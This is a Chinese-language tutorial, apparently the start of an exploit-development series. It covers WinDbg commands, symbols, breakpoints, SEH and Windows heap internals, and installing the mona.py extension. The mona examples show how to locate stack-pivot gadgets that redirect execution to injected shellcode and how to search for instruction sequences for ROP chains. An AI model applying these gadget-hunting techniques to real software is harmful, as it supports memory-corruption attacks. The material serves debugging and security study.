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WinDbg


Windbg是一款非常强大的调试器,附带很多命令,大家可能需要花费一些精力来学习它.这里的话我就给大家介绍一些基本的命令 (更加详尽的说明请查阅Windbg的帮助文档).其他一些命令在后面的章节中要用到的时候我在逐步给大家补充.




版本


为了避免不必要的麻烦,建议使用32位的Windbg调试32位的应用程序,64位的Windbg调试64位的应用程序.


其实我们可以使用下面的命令来进行32位和64位模式的切换:


!wow64exts.sw 



这里我使用Windbg加载了一个32位的计算器





我们来尝试进行32位模式和64位模式的相互切换.







符号


打开Windbg的一个新的实例(如果你当前正在用Windbg调试一个进程的话,那么先关闭WinDbg然后再打开它).


选择菜单中的File->Symbol
File Path选项,然后输入


SRV*D:\Symbols*http://msdl.microsoft.com/download/symbols






(中间的这个D:\Symbols这个目录大家可以按照自己的喜好来指定,后面的这个http://msdl.microsoft.com/download/symbols是微软的符号服务器的地址)


接下来保存工作空间就可以了(选择菜单项中的File->Save Workspace即可).


星号是分隔符.Windbg将使用上面的第一个目录作为符号文件的本地缓存.如果不止一个符号文件目录的话,可以在第二个星号后面的urls/路径之后添加,使用分号分隔.




调试过程中添加符号


在调试过程中添加符号路径,可以使用:


.sympath+ d:\symbols 



(这条命令如果没有加号的话,就不是添加符号路径了,而是替换之.)


现在重新载入符号:


.reload 








大家有没有觉得微软的符号文件服务器的地址不好记?神马!你觉得很好记,你在逗我吗,大兄弟！如果大家不想记这个一长串符号文件服务器的地址的话,可以使用:


!symfix d:\symbols 



这里的话,windbg就会默认为我们添加上微软的符号文件服务器地址







检查符号


当符号被用到的时候就会被加载.为了查看哪些模块的符号文件已经被加载了,可以使用


x *！ 



X命令支持模糊查询,也就说在搜索模块中符号的时候可以使用通配符.例如:我们可以使用下面的方法搜索Kernel32模块中所有以virutal开头的符号:


0 : 000 >  x kernel32 ! virtual *  
00000000`76c3bce0 kernel32 ! VirtualQueryStub  =   < no type information >  
00000000`76c367a0 kernel32 ! VirtualAllocStub  =   < no type information >  
00000000`76c6bb70 kernel32 ! VirtualProtectExStub  =   < no type information >  
00000000`76c22ef0 kernel32 ! VirtualProtectStub  =   < no type information >  
00000000`76c53320 kernel32 ! VirtualAllocEx  =   < no type information >  
00000000`76c67cb0 kernel32 ! VirtualLock  =   < no type information >  
00000000`76c53344 kernel32 ! VirtualQueryEx  =   < no type information >  
00000000`76c5332c kernel32 ! VirtualFreeEx  =   < no type information >  
00000000`76c6bba0 kernel32 ! VirtualAllocExNumaStub  =   < no type information >  
00000000`76c31260 kernel32 ! VirtualFreeStub  =   < no type information >  
00000000`76c6bbd0 kernel32 ! VirtualAllocExStub  =   < no type information >  
00000000`76c67c60 kernel32 ! VirtualUnlock  =   < no type information >  
00000000`76c6bb60 kernel32 ! VirtualQueryExStub  =   < no type information >  
00000000`76c31268 kernel32 ! VirtualFree  =   < no type information >  
00000000`76c6bb90 kernel32 ! VirtualFreeExStub  =   < no type information >  
00000000`76c53104 kernel32 ! VirtualAllocExNuma  =   < no type information >  
00000000`76c367a8 kernel32 ! VirtualAlloc  =   < no type information >  
00000000`76c352a4 kernel32 ! VirtualQuery  =   < no type information >  
00000000`76c22ef8 kernel32 ! VirtualProtect  =   < no type information >  
00000000`76c53338 kernel32 ! VirtualProtectEx  =   < no type information > 





通配符也可以用在模块名称的部分:


0 : 000 >  x  *! messagebox *  
00000000`76b913b8 USER32 ! MessageBoxTimeoutW  =   < no type information >  
00000000`76b9148c USER32 ! MessageBoxTimeoutA  =   < no type information >  
00000000`76b91668 USER32 ! MessageBoxIndirectA  =   < no type information >  
00000000`76b91874 USER32 ! MessageBoxIndirectW  =   < no type information >  
00000000`76b918f8 USER32 ! MessageBoxWorker  =   < no type information >  
00000000`76b91394 USER32 ! MessageBoxExW  =   < no type information >  
00000000`76b91370 USER32 ! MessageBoxExA  =   < no type information >  
00000000`76b91314 USER32 ! MessageBoxW  =   < no type information >  
00000000`76b912b8 USER32 ! MessageBoxA  =   < no type information >  
000007fe`fd193248 SHLWAPI ! MessageBoxCheckExDlgProc  =   < no type information >  
000007fe`fe2e3f68 SHELL32 ! MessageBoxIfNecessary =   < no type information >    





你可以使用下面的命令强制让Windbg加载所有模块的符号:


ld* 



加载所有模块的符号可以要花一些时间.如果实在等的不耐烦了,可以选择菜单中的Debug->Break来终止操作.




帮助文档


.hh 



或者按F1键来打开帮助文档.





要想查询指定命令的帮助的话,可以使用下面命令:


.hh <command> 



这里的<command>是你想查询的命令,或者按F1键然后选择Index(索引)栏,然后输入想查询的命令搜索即可.









调试模式


本地调试


你可以调试一个新进程或者一个正在运行的进程,通过以下方式:


1.      
通过选择菜单项File->Open Executable来创建一个新的进程进行调试.





2.      
通过选择菜单项File->Attach to Process附加到一个正在运行的进程对其进行调试.





远程调试


想要远程调试一个程序的话,至少有两种方式:


1.      
如果你正在机器A上面调试一个程序的话,你可以输入下面的命令(选择你想监听的端口):


.server tcp:port=1234 






这样WinDbg内部将会开启一个服务器,并等待着客户端连接





在机器B上面,运行WinDbg,然后选择菜单项File->Connect
to Remote Session,接着输入


tcp:Port=1234,Server=<IP of Machine A> 









2.      
在机器A上,通过如下命令启动dbgsrv:


dbgsrv.exe –t tcp:port=1234






这样将在机器A上开启一个服务器.


在机器B上,运行WinDbg,选择菜单项File->Connect to Remote Stub,接着输入


tcp:port=1234,Server=<IP of Machine
A>





你可以看到菜单项File->Open
Executable是失效的,但是我们可以选择File->Attach to a Process.这样,我们就可以查看机器A上的进程列表了,然后选择自己感兴趣的进程进行调试即可.


如果想要停止掉机器A上的这个服务器要怎么做呢?可以通过任务管理器来结束掉dbgsrv.exe这个进程.




模块


当你载入一个可执行程序或者附加一个进程,WinDbg将列举出已加载的模块.如果你想再次列举模块的话,可以输入:


lmf 






要列举指定模块的话,例如ntdll.dll,使用:


lmf m ntdll 






想要获取模块映像头信息的话,例如ntdll.dll,使用:


!dh ntdll 



这个感叹号表示这个命令是一个扩展命令,扩展命令通常是由某个动态链接库DLL导出的,然后由WinDbg调用.用户可以创建自己的扩展命令来扩展WinDbg的功能.


也可以使用模块起始地址:







表达式


WinDbg支持表达式,也就是说当需要一个值的时候,你可以直接输入其值,或者你可以输入计算其值的表达式.


例如:如果EIP为00000000`76decb70,则


bp 00000000`76decb71 



和


bp EIP + 1 



是等价的.











你也可以使用符号:


u ntdll!CsrSetPriorityClass+0x41 






和寄存器:


dd ebp+4 






数字默认是16进制的.要明确指定其进制的话,可以添加前缀:


0x123:16进制


0n123:10进制


0t123:8进制


0y111:2进制




使用.formats命令可以以不同的形式来显示一个值:





想对一个表达式求值的话可以使用’?’:


? eax+4 








寄存器和伪寄存器


WinDbg支持个别的伪寄存器,其中保存了某些值.伪寄存器通常带有前缀’$’.


当你要使用寄存器或者伪寄存器的时候,最好在前面加上前缀‘@’,这个前缀是告诉WinDbg接下来的部分是一个寄存器而不是一个符号.如果不加上前缀’@’的话,WinDbg首先会尝试将这个名称当为一个符号来解析.


这里有一些伪寄存器的例子:


①   
$teb或者@$teb(TEB的地址)





②   
$peb或者@$peb(PEB的地址)





③   
$thread或者@$thread(当前线程)







异常


想要在一个指定的异常发生时中断,可以使用sxe命令.例如,当一个模块加载的时候想要中断下来,可以输入以下命令:


sxe ld <module name 1>,…,<module name N> 



例如:


sxe ld user32 






想要查看异常类型的列表,可以使用:


sx






想要忽略一个异常,可以使用sxi:


sxi ld 



这可以取消我们上面sxe ld
user32这个命令的效果.


WinDbg在首次(single-chance)异常和二次(second-chance)异常都会断下来.这二者并不是两种异常.这里我们来理一理WinDbg处理异常的流程,一旦有异常发生,WinDbg就会断下来,这时该异常称之为首次(single-chance)异常. 首次(single-chance)异常意味着这个异常还没有传递给被调试程序.当我们从这个异常中恢复执行的时候,WinDbg会把这个异常发送给被调试程序.如果被调试程序不处理这个异常的话,WinDbg会再次断下来,这时这个异常我们称之为二次(second-chance)异常.




我们在后面使用EMET5.2的时候,需要忽略单步异常的首次(single-chance)中断.我们可以使用如下命令:


sxd sse 







断点


软件断点(简称软中断)


当你对一个指令设置软件断点,实际上WinDbg在内存中将该指令的第一个字节替换成了0xCC,也就是“int 3”指令的机器码.


当这个“int 3”指令被执行的时候,断点就触发了,断下来之后,WinDbg会将这个0xCC恢复成之前的字节.


想在0x00000000`76decb73设置一个软件断点,可以输入:


bp 00000000`76decb73 








你可以设置激活断点所需要的次数:


bp 00000000`76decb73 3 



也就是说前两次触发该断点将被忽略.第三次才会断下来.


想要恢复执行的话,可以输入:


g 



这是“go”的缩写.


想要执行到指定的地址,输入:


g  <代码所在的地址> 



实际上,上面的’g’命令就是在指定地址处设置了一个一次性软件断点,当断点触发以后就将其移除.




硬件断点


硬件断点是利用的CPU提供给我们的调试寄存器组.我们可以这些寄存器设置相应的值,然后让CPU帮我们断在需要下断点的地址.硬件断点可以实现在执行的时候或者访问内存的时候断下来.


硬件断点并不会修改代码,所以在调试自修改代码(壳,病毒之流)的时候我们可以充分利用硬件断点.


不幸的是,我们最多只能设置4个硬件断点.


设置硬件断点命令的格式如下:


ba <类型 > <大小 > <地址 > <放行的次数 (默认为1)> 



上面的<类型>可以是:


①   
‘e’
即 执行断点


②   
‘r’
即 内存读取/写入访问断点


③   
‘w’
即 内存写入断点


<大小>指定需要监视的范围大小(如果执行断点的话,大小总是为1).<地址>指定需要设置断点的地址,<放行的次数>指定激活断点需要的次数(可以参考前面’bp’的用法).


注意:在进程创建之前不用使用硬件断点,因为硬件断点需要修改CPU中的寄存器组(dr0,dr1等等),只有在进程创建,线程环境块中寄存组被重置了以后,我们才能使用硬件断点.




操作断点


列举断点:


bl 



这里’bl’代表断点列表.


例如:





这些域从左到右依次是:


①   
1:断点 ID


②   
e:断点的状态;可以是e(即enabled-有效)或者d(即disabled-无效)


③   
00000000`ffced331:内存地址


④   
0001(0001):激活之前还剩余的次数,接下来的是激活断点需要的总次数(在断点被创建的时候这个值就被设定了).


⑤   
0:****: 关联的进程中的线程.星号表示该断点没有指定线程.


⑥   
calc!WinMain
+ 0x15:模块,函数,距离断点的偏移量. 




让断点失效,输入:


bd <断点的编号> 



  




想删除一个断点,可以使用:


bc <断点的编号> 








想要删除所有断点,可以使用:


bc * 








断点命令


如果你想在每次断点触发的时候执行一个特定命令的话,可以输入类似下面的命令:


bp 00000000`ffced326 ".echo \"Here are the registers:\n\";r" 










这里还有一个例子:


bp jscript9+c2c47 ".printf \"new Array Data:addr = 0x%p\\n\",eax;g" 







单步跟踪


这里至少有三种类型的单步:


1.      
单步步入(命令:t)


这个命令每执行一条指令就断下来一次.如果当前这条指令是调用的一个函数话,这个命令就会跟进,断在被调用函数中的第一条指令处.


2.      
单步步过(命令:p)


这个命令也是每执行一条指令就断下来一次.遇到call指令的时候,并不会跟进,而是断在call指令的下一条指令处.


3.      
单步步出(命令:gu)


这个命令是恢复执行直到遇到下一个ret指令,并断在ret指令之后的一条指令处.它用于退出一个函数.




针对已存在的函数这里还有两条命令:


①   
tt(单步步入直到下一个ret处):这个命令等价于不断地用’t’命令直到停到第一个ret指令为止.


②   
pt(单步步过直到下一个ret处):这个命令等价于不断地用’p’命令直到停到第一个ret指令为止.




注意:tt命令会跟进到函数里面,如果你想断到当前函数的ret指令处,可以使用pt命令替代.


pt和gu命令的不同之处在于,pt会断在ret指令处,gu会断在ret指令之后的一条指令处.




这里还有一些’p’和’t’命令的用法:


①    pa/ta
<地址>:单步跟踪到这个地址处


②    pc/tc:单步跟踪到下一个call指令处


③    pt/tt:单步跟踪到下一个ret指令处(上面已经介绍过了)


④    pct/tct:单步跟踪到下一个call或者ret指令处


⑤    ph/th:单步跟踪到下一个分支指令处




查看内存


想要显示内存中内容的话,可以使用’d’命令:


①   
db:按字节的格式显示


②   
dw:按字的格式显示(2个字节)


③   
dd:按双字的格式显示(4个字节)


④   
dq:按四字的格式显示(8个字节)


⑤   
dyb:按位的格式显示


⑥   
da:显示以空字符结束的ASCII字符串


⑦   
du:显示以空字符结束的Unicode字符串


可以使用.hh d命令查看其它相关的命令.


‘d’命令显示数据的格式类似:


d* [范围] 





星号可以替换成上面列举出来的这些数据类型,方括号表示范围是可选的.如果范围被省略的话,那么就从上一次d*命令的结束为止开始显示.


可以按照以下的几种方式来指定范围:


1.      
<起始地址> <结束地址>


例如:


db 00000000`ff1bd31c 00000000`ff1bd34b 






2.<起始地址>  L<元素个数>


例如:


dd 00000000`ff1bd31c  L10 






显示从地址00000000`ff1bd31c 开始显示0x10个双字.


注意:如果范围大于256MB的话,必须使用L?来表示范围.




3.<起始地址>


当仅仅指定一个起始地址的时候,WinDbg将显示128个字节.




修改内存


你可以使用下面的命令来修改内存:


e[d|w|b] <地址> [<新值1>…<新值N>] 





这里的[d|w|b]是可选的,用于指定要修改的元素的大小(d=双字,w=字,b=字节).如果你省略掉新值的话,WinDbg将采用交互的模式来请你输入新值.


这里有个例子:


ed eip cc cc 



这是将eip的前两个双字分为修改为0XCC.







搜索内存


想要搜索内存的话,可以使用’s’命令.它的格式是:


s [-d|-w|-b|-a|-u] <起始地址> L?<元素的个数> <要搜索的值> 



这里的d,w,b,a,u表示双字,字,字节,ASCII,UNICODE.


<要搜索的值>是待搜索值的序列.


例如:


s –d eip L?1000 cc cc 






这里是在内存区间[eip,eip
+ 1000*4 -1]的范围内搜索两个连续的双字0xcc
0xcc.




指针


有时候你需要取一个指针里面的值,你可以使用poi操作符,相当于C语言中对指针的操作符*:


dd poi(ebp + 4) 



这个命令中的poi(ebp+4)作用就是计算括号的中ebp+4的值,如果是32位的话结果为双字 (如果是64位的话,就是四字),然后取ebp+4这个地址指向的内存单元中的值作为表达式的结果.






其它的命令


想要查看寄存器组的话,可以输入:


r






想要查看指定寄存器的内容的话,比如说eax和edx,可以输入:


r eax,edx 






想要查看EIP指向的前3条指令的话,可以使用:


u EIP L3 






这里’u’命令是反汇编的意思,’L’是指定要显示的行数.




想要查看调用堆栈的话,可以使用:


k 










查看数据结构


这里有一些用于查看数据结构的命令:



 
  	
  !teb

  
  	
  查看TEB(线程环境块)

  
 

 
  	
  $teb

  
  	
  TEB的地址

  
 

 
  	
  ！peb

  
  	
  查看PEB(进程环境块)

  
 

 
  	
  $peb

  
  	
  PEB的地址

  
 

 
  	
  ！exchain

  
  	
  查看当前异常处理链(SEH)

  
 

 
  	
  !vadump

  
  	
  查看内存分页信息列表

  
 

 
  	
  !lmi <模块名称>

  
  	
  查看指定模块的信息

  
 

 
  	
  ！slist <地址> [<符号>[<偏移>]]

  
  	
  查看单向链表,这里:

  <地址>表示指向链表的第一个结点的指针的地址

  <符号 >表示结点数据结构的名称

  <偏移>表示结点中下一个域的偏移

  
 

 
  	
  dt <数据结构的名称>

  
  	
  查看<数据结构的名称>表示的数据结构

  
 

 
  	
  dt <数据结构的名称> <域>

  
  	
  查看数据结构中指定的域

  
 

 
  	
  dt <数据结构的名称> <地址>

  
  	
  将指定地址处的数据作为指定的数据结构来解析(当然你需要符号文件)

  
 

 
  	
  dg <第一个选择子> [<最后一个选择子>]

  
  	
  查看指定选择子对应的段描述符

  
 





建议的布局





将WinDbg的窗口布局完毕以后选择菜单项File->Save
Workspace来保存工作空间,下次打开的时候,就是上次设置好的布局了.




相关参考资料:


1.      
windows高级调试





2.      
软件调试










Mona2


Mona2是Corelan Team团队开发的一个非常有用的扩展(PS:读过Corelan Team的Exploit 编写系列教程应该不会陌生吧,看雪论坛里面有泉哥他们翻译的中文版),该扩展最初是为Immunity Debugger编写的,现在该扩展也有WinDbg的版本了.




安装


下面的安装以win7 64位系统为例演示:


1.安装Python2.7(Python2.7下载地址https://www.python.org/downloads/





2.安装vcredist_x64.exe (VC++运行库).


vcredist_x86.exe下载地址: https://www.microsoft.com/en-us/download/details.aspx?id=29


vcredist_x64.exe下载地址https://www.microsoft.com/en-us/download/details.aspx?id=15336


(PS:其实下面的pykd插件的安装包里面有VC++运行库)




3.下载并安装让WinDbg支持python脚本的插件(按照自己的需要安装x86和x64版本的).


下载地址: http://pykd.codeplex.com/releases





4．下载windbglib.py和mona.py,将其放到windbg.exe所在目录下.


下载地址: https://github.com/corelan





 


5.配置符号文件路径如下:


①  选择菜单项File->Symbol File Path


②  输入:SRV*D:\symbols*http://msdl.microsoft.com/download/symbols


③  保存工作空间(选择菜单项File->Save
Workspace)


 


在WinDbg下使用mona.py


在WinDbg中运行mona.py非常简单:


1.      
加载pykd扩展命令


.load pykd.pyd 






(


PS:如果你这里加载pykd插件可能会有问题,那么就有可能是


1:你上面安装步骤中的版本对不上,32位的对应32位,64位对应64位的就可以了


2:如果是加载pykd插件,WinDbg直接闪退了,那么就是说触发了异常,究其原因:其实就是


         Python2.7的子版本与pykd插件不兼容.当前python2.7的最新版本是python2.7.11,选择一个低的版本就行了,这里我选的是python2.7.2,这个问题也折腾了一会儿才解决.感兴趣的童鞋可以去跟一下,提示:将运行一个WinDbg,然后再用另一个WinDbg来调试这个WinDbg,


并在这个WinDbg中执行.load pykd.pyd命令,然后就断了下来,查看调用堆栈即可.





)


2.      
运行mona脚本




!py mona








更新mona输入:


!py mona update 



(PS:上面的mona已经是最新版本了)




配置


工作目录


Mona的许多函数会将数据保存到Mona创建的工作目录下.我们可以根据相应的进程名和ID来指定一个工作目录,格式如下(其中%p为<进程名称>,%i为<进程id>):


!py mona config –set workingfolder “D:\Tools\mona_files\%p_%i” 








排除模块


你可以在进行搜索操作的时候排除指定模块:


!mona config –set excluded_modules “module1.dll,module2.dll” 
!.mona config –add excluded_modules “module3.dll,module4.dll” 





作者


你也可以设置作者:


!mona config –set author pediy 



该信息在metasploit中可能会用到.




重要


如果在使用WinDbg和mona的时候出错的话,可以尝试以管理员权限运行WinDbg.




Mona的手册




Mona的手册可以去corelan team的论坛下载,地址如下:


https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/


(PS:看雪论坛的msf童鞋已经翻译成中文了,地址如下:


http://bbs.pediy.com/showthread.php?t=199198&highlight=mona)




使用范例1


这个例子是取自Mona手册.


比如说我们通过下面代码来控制ECX的值:


X86汇编


MOV EAX,[ECX] 
CALL [EAX+58h] 



我们想使用一段代码来跳转到我们的shellcode(PS:这段代码是我们注入到该进程的),shellcode位于ESP+4的位置,所有我们需要执行类似于”ADD ESP,4 |
RET”这样的指令来让EIP指向shellcode.


上面的这段x86汇编代码我们简化为如下形式:


1.(ECX=p1)->p2


2.p2+58h->p3->”ADD ESP,4|RET”


首先我们需要找到p3:


!py mona config -set workingfolder D:\Tools\mona_files\logs 
!py mona stackpivot –distance 4,4  



Stackpivot这个函数查找类似于”ADD ESP,X|RET”这种形式的指令,其中X在最小值到最大值之间取值,X的取值返回时通过”-distance min,max”这个选项来设定的.


查找到的指针/地址写入到D:\Tools\mona_files\logs\stackpivot.txt中.


现在我们有了p3,接下来就需要找到p1了:


!py mona find –type file –s “D:\Tools\mona_files\logs\stackpivot.txt” –x * -offset 58 –level 2 –offsetlevel 2 



我们一起来看看这些选项的意思:


“-x *”表示任何访问权限分页中的地址都可以(再举一个例子,”-x X”表示只要可执行分页中的地址)


“-level 2”指定间接引用的等级


开始的两个选项(-type和-s)表示p3必须是” D:\Tools\mona_files\logs\stackpivot.txt”这个文件中的一个指针.


“-offsetlevel 2”和”-offset 58”告诉mona,指针p2要正向偏移58才能指向指针p3.


不太理解这个例子也不要紧,这个例子仅仅是告诉大家Mona可以这么用.其实这个例子的语法本身就不好理解.




使用范例2


通过findwild这个命令我们可以查找指定格式的指令序列.


例如:


!mona findwild –s “push r32 # * # pop eax # inc eax # * # retn” 





“-s“选项指定了指令序列的形式:


①  每条指令用#号分隔开


②  r32表示任意一个32位的寄存器


③  *表示任意的指令序列


可选参数有:


①  -depth <nr>:该指令序列的最大长度


②  -b <address>:搜索的基地址


③  -t <address>:搜索的顶部地址


④  -all:包含坏指令的序列同样获取(坏指令可能会破坏整个序列<比如说跳转指令或者call指令等等>)




ROP链


Mona可以查找ROP的部件,然后构建整个ROP链,这里的话就不详细讨论了,看过之前Corelan
Team团队编写的Exploit编写系列教程应该不会陌生吧.











结构化异常处理(SEH)


异常处理程序是以单向链表串起来的,它是线程相关的.一般来说,链表的结点是在栈中被分配的.


异常处理链的头指针保存在TEB(线程环境块)的起始位置,所以想添加一个新的异常处理程序的话,新的结点应该添加到异常处理链的头部,同时TEB中保存的指针也应该指向这个新的结点.


异常处理链中结点的类型都是_EXCEPTION_REGISTRATION_RECORD,结点中保存了异常处理函数的地址和指向下一个结点的指针.奇怪的是,最后一个结点的指向下一个结点的指针并不为空,而是0xffffffff.该结构定义如下:





TEB可以通过选择子fs来访问,异常处理链的头指针可以通过fs:[0]获取,所以通常我们可以看到如下的代码:


X86汇编


mov  eax,dword ptr fs:[00000000h]  ;获取异常处理链的头结点指针 
push  eax                          ;保存异常处理链旧的头结点指针 
lea  eax,[ebp-10h] 
mov  dword ptr fs:[00000000h],eax  ;设置新的头结点指针 
. 
. 
. 
mov  ecx,dword ptr [ebp-10h]       ;获取旧的头结点指针(当前头结点的NEXT域) 
mov  dword ptr fs:[00000000h],ecx  ;恢复旧的头结点指针 



编译器通常会注册一个全局的句柄,通过这个全局句柄可以得知程序的那些区域被执行了,并且可以相应的处理.


每一个线程的TEB都不相同,操作系统会确保段选择子fs一直都指向TEB的.可以通过fs:[18h]来获取TEB的地址,这里面保存着TEB的自指针(PS:指向自己的指针).


我们来查看一下TEB:





现在我们来验证一下看看fs是不是指向TEB:





我们上面说过了,fs:18h中包含了TEB的地址:





还可以poi操作符的意思吗?它是取一个指针指向的内存单元里面的值,?操作符是计算一个表达式的值.


上面的ExceptionList其实是位于_NT_TIB这个结构中的:





也就是说每个结点都是一个_EXCEPTION_REGISTRATION_RECORD结构的实例.


要想查看整个链表的话,使用!slist:





记住这里的$teb是TEB的地址.


这里还有一种简单的查看异常处理链的方法:





我们来手工检查一下异常处理链:





 


 







堆


当进程启动时,堆管理器将自动创建一个新堆,叫做默认的进程堆.但是大多数C/C++应用程序仍然是通过CRT堆(使用new/delete运算符以及malloc/free等API)来满足它们的内存需求.还有些程序还会创建一些额外的堆(通过HeapCreate)以将进程中不同的组件独立开来.Windows堆管理器可以划分为两个部分:前端分配器和后端分配器.




前端分配器


前端分配器(Front
End Allocator)是是后端分配器(Back End Allocator)的一个抽象优化层.在程序里可以选择不同类型的前端分配器来满足不同的内存需求.在Windows中有两种前端分配器:


①  旁视列表(Look Aside
List,LAL)前端分配器


②  低碎片(Low
Fragmentation,LF)前端分配器


旁视列表是一张表,其中包含了128项,每一项对应于一个单向链表.每个单项链表都包含了一组固定大小的空闲堆块,从16个字节的大小开始依次递增.每个堆块包含了8个字节的堆块元数据用于管理这个堆块.旁视列表索引的计算公式为:请求的块大小加上8个字节(元数据的大小),然后除以8再减去1(旁视列表的索引从零开始).注意旁视列表的索引总是一个正数.




Windows Vista以后的版本不再使用旁视列表前端分配器了.默认使用的是低碎片前端分配器.低碎片前端分配器非常复杂,其主要思想就是通过分配足够容纳待请求大小的最小内存块来减少堆碎片.




后端分配器


如果前端分配器无法满足分配请求,那么这个请求将被转发到后端分配器.


在Windows
XP中,与前端分配器类似的是,后端分配器也包含了一张空闲列表,表中的每一项都是一个空闲链表.空闲列表的作用就是记录在指定堆中的所有空闲堆块.在空闲列表索引为0的项中的堆块大小将大于1016字节而小于虚拟内存分配的限值(0x777F0字节).在空闲列表[0]中的堆块是按照堆块的大小来排序(升序)以获得最大效率的.通常索引为1的列表项不使用.索引为x的项中包含的空闲堆块大小为8x.如果堆管理器无法找到某个空闲堆块的大小等于所请求的大小,那么它将使用一种块分割技术.块分割是指堆管理器首先找到一个比请求大小更大的空闲堆块,然后将其对半分割以满足分配请求.反过来,堆合并也是有可能的:当一个堆块被释放,堆管理器会检查两个相邻的堆块,如果其中一个或者两个都是空闲的话,则这些空闲的堆块将被合并为一个单独的堆块,这样可以减少堆碎片.前面已经提到了,在索引为0的空闲链表中包含的空闲堆块是从1016一直到0x7FFF0（524272）字节的堆块.为了将查询空闲堆块的效率最大化,堆管理器将按照一定的顺序(升序)来存储空闲堆块.所有大于0x7FFF0的内存分配请求将被转发到虚拟分配列表(Virtual Allocation List)中.当请求一个很大的内存分配时,堆管理器将向虚拟内存管理器发出请求,并且将相应的分配信息保留在虚拟分配链表中.




在Windows
7中,再也没有专门的特定尺寸的空闲堆块链表了.Windows 7使用单个空闲链表.该链表中包含了所有尺寸的空闲堆块,大小按照升序排列.与此同时,还有另外一种链表(该链表结点的类型为ListHint),该链表中的结点指向了空闲链表中的结点,用来找到合适大小的结点来满足内存分配的请求.




堆段(Heap Segment)


堆管理器从何处获得内存?首先,堆管理器将通过Windows虚拟内存管理器来分配一大块内存.堆管理器从虚拟内存管理器请求分配的内存块也称为堆段(Heap Segment).当堆段最初被创建时,堆段中的大部分虚拟内存都是被保留的(Reserve),只有一小部分被提交(Commit).当堆管理器耗尽了已提交的空间时,堆段将进一步提交更多的内存,而堆管理器接着将对新提交的空间进行分割.当一个堆段耗尽了所有的空间后,堆管理器将创建另一个新的堆段.并且新的堆段的大小将是之前堆段大小的两倍.如果由于内存不足而无法创建这个新堆段,那么堆管理器将把这个大小减半.如果再次失败,那么将继续减半,知道堆段大小的最小阈值-这种情况下,堆管理器将返回一个错误给用户.




分析堆


堆链表位于PEB(进程环境块)的偏移0x90处:








我们感兴趣的是这里:





ProcessHeaps是一个指向HEAP(一个指针指向一个堆)结构指针的数组.


我们一起来看一看这个数组:





我们可以像这样显示第一个HEAP结构:





我们可以使用mona.py来获取有用的信息.首先我们来获取一些常规的信息:





我们知道该进程当前一共有4个堆,这里mona显示出了每个堆段的信息.


我们还可以使用!heap:





“-m”选项用来显示堆段.


想要查看特定的堆段,比如说0x280000,我们可以用:





注意:mona首先会显示所有堆的统计信息,然后紧接着才是我们指定堆的信息.我们也可以省略掉”-h 280000”,这样就可以获取所有堆段的信息了:







mona.py还可以查看内存块(chunks)中已分配的块.想要查看堆段中的堆块可以使用:





…





使用!heap也可以:





…





要查看统计信息的话,可以使用”-stat”选项:














Mona.py 也可以用于在堆段中的堆块中搜索字符串,BSTRINGS和虚表对象(vtable
objects).为了查看这些信息,可以使用“-t layout”.这个函数将把数据写到heapplayout.txt文件中.


你还可以使用如下的附加选项:


①  -v:将数据输出到日志窗口中.


②  -fast:跳过定位对象大小的环节.


③  -size<sz>:当字符串的长度小于<sz>的时候跳过.


④  -after<val>:在搜索到包含<val>值的字符串或者虚表引用之前忽略掉堆块中的条目;搜索到之后,输出当前堆块的全部信息.




举例:





…





来看看从上面输出的信息中提取出来的两行:





第二行告诉我们:


①  这一项位于堆块起始地址偏移0x299字节的位置.


②  这一项从0x280aa1到0x280bd1.


③  这一项是一个Unicode字符串(长度为302个字节或者151个字符).


④  这个字符串是:


“Path=C:\WinDDK\7600.16385.1\Debuggers\winext\arcade;C:\Windows\system32;C:\Windows;C:\Windows\System...”. 



 















Windows基础


本章比较简短,对于Windows程序员来说可能已经耳熟能详了,但是Linux程序员可能不一定清楚.




Win32 API


Windows的主要API函数是通过几个DLL(动态链接库)提供的.应用程序可以从这些DLL中导入并调用API函数.正因为这种方式,使得API函数版本的更替不会影响到用户模式应用程序的可移植性.




PE文件结构


exe和dll都是PE(可执行)文件.每个PE文件都包含了导入表和导出表.导入表指定了要导入的函数以及该函数位于哪个文件中.导出表指定了要导出的函数(这些函数可以被其它的PE文件导入).


PE文件是不同的区段(代码段,数据段等等…)组成的. .reloc(重定位)段包含了exe或者dll加载到内存中重定位所需要的信息.在代码中有些地址是相对的(比如相对跳转指令),也有很多是绝对地址,这些都要依赖模块在内存中加载的位置.


Windows加载器从当前工作目录开始搜索dll,有可能当前工作目录下面有一个dll与系统目录(\windows\system32)下的是同名的.这种情况被有些人称为dll劫持.


还有一个重要的概念就是RVA(相对虚拟地址).PE文件使用RVA来指定各个元素相对于模块基地址的偏移.换句话说就是,如果一个模块被加载到地址B,与此同时,有一个元素的RVA为X,则这个元素在内存中的绝对地址就可以简单的表示为B+X.




线程


如果你已经习惯于Windows的话,那么对于线程这个概念应该不会陌生吧,如果你是从Linux转过来的,请记住Windows是将CPU的时间片分配给了线程,而不像Linux是分配给了进程.此外,Windows里面没有fork()函数.你可以调用CreateProcess()函数来创建一个新的进程以及CreateThread()来创建一个新的线程.线程是在所属进程的地址空间中执行的,所以它们之间的内存是共享的.


和其它主流多线程操作系统一样,Windows为大家提供了一种机制,该机制允许程序员实现基于线程的局部状态的存储.这种能力通常称为线程局部存储(Thread Local Storage,TLS).通常,每个线程的TEB都包含了一个主TLS的数组(容量为64个DWORD),还有一个可选TLS数组(容量最大可达1024个DWORD,该数组在主TLS的容量耗尽的时候启用).首先,需要一个索引标识数组(主TLS数组或者可选TLS数组)中的位置.可以通过调用TlsAlloc()来分配一个索引.之后各个线程可以通过该索引来访问自己的TLS数组中DWORD.这个DWORD值可以通过调用TlsGetValue(index)来获取,也可以通过调用TlsSetValue(index,newValue)来写入一个新的值.


举个例子,TlsGetValue(7)表示读取当前线程TEB中包含的主TLS数组中索引为7项中的DWORD值.


我们可以尝试通过调用GetCurrentThreadId()这个函数来模拟这种机制,但不一定能奏效.




令牌(Tokens)和模拟级别(Impersonation)


令牌(Tokens)代表了访问权限.令牌(Tokens)实际上是一个32位的数字,跟文件句柄有点像.每个进程的内部维持了一个包含访问权限令牌的数据结构.


有两种类型的令牌:主令牌和二级令牌.一旦进程被创建,其就会被赋予一个主令牌.该进程的每个线程都可以拥有其令牌,或者从另一个进程获取一个二级令牌,再或者凭借合法的身份认证调用LoginUser()函数返回一个新的令牌.


如果想要附加一个新的令牌到当前线程的话,你可以使用SetThreadToken(newToken),删除该令牌的话,可以调用RevertoSelf()使得线程恢复为主令牌.


